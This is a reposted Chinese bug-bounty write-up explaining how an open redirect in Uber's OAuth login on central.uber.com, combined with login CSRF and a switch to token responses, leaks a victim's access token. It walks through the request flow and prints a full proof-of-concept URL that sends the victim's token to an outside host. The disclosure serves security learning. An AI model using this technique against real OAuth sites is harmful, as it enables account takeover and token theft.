安全路透社
当前位置:安全路透社 > 安全客 > 正文

【技术分享】我是如何破解了价值8000美金的Uber漏洞

http://p8.qhimg.com/t01d1b39de18d2d22cb.jpg

读了两篇文章tweet 和 report之后,我决定分享一个在Uber挖到的很特别的洞–盗取登录授权。

这个漏洞在central.uber.com,使用oauth协议登录,但是参数使用不正确导致攻击者构造参数导致跳转和登录CSRF,然后获取跳转后URL中的登录令牌。

先来分析一个central.uber.com的登录流程,几个月前当用户登录时,请求是这样的:

1、https://central.uber.com/login?state=/somewhere
 
2、https://login.uber.com/oauth/authorize?response_type=code&scope=profile history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https://central.uber.com/oauth2-callback&state=/somewhere
3、https://central.uber.com/oauth2-callback?state=/&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
4、https://central.uber.com/somewhere

为了更好的理解这个漏洞,你需要多读几遍去熟悉这个流程。我的第一次尝试是把state的参数值从/somewhere变成了//google.com,去测试潜在的跳转漏洞,然后这个流程变成了下面的样子

1、https://central.uber.com/login?state=//google.com
2、https://login.uber.com/oauth/authorize?response_type=code&scope=profile history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https://central.uber.com/oauth2-callback&state=//google.com
3、https://central.uber.com/oauth2-callback?state=//google.com&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
4、//google.com

显而易见这是跳转漏洞的,但是uber不收这个洞了,所以要深挖一下好好利用。

由于请求中我们用的是code,而不是token,所以即使利用跳转我们也没法在登录中获取任何东西。所以我们把code替换成token,看看会出现什么情况:

1、https://login.uber.com/oauth/authorize?response_type=token&scope=profile history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https://central.uber.com/oauth2-callback&state=//google.com/
2、https://central.uber.com/oauth2-callback?state=//google.com#access_token=xxxxx/
3、No redirect here

因为https://central.uber.com/oauth2-callback 没有返回可用的code,所以第二步没有跳转,但是如果没有跳转的话我们就没法获取token,所以需要一个解决方法,给oauth2-callback后面添加一个可用的code参数

登录处CSRF


参数state用于跳转,我们可以将自己可用的oauth code 添加到 oauth2-callback后面,然后发给被攻击者,然后被攻击者就会带着token被重定向访问攻击者的网站。

 

POC


https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3dattacker_valid_oauth_code&state=%2F%2fhackerone.com

POC登录流程


1 https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3d{attacker_valid_oauth_code}&state=%2F%2fhackerone.com

2 https://central.uber.com/oauth2-callback?state=%2F%2fhackerone.com&code={attacker_valid_oauth_code}#access_token={victim_access_token}

3、//hackerone.com#accesstoken={victim_access_token}

 

局限


这个漏洞需要用户已经获取了login.uber.com的的会话验证。由于central.uber.com是一个官方的oauth客户端,所以每个用户在默认情况下会接受central.uber.com的任何请求。

漏洞赏金$8000

 


原文链接:http://ngailong.com/uber-login-csrf-open-redirect-account-takeover/

未经允许不得转载:安全路透社 » 【技术分享】我是如何破解了价值8000美金的Uber漏洞

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册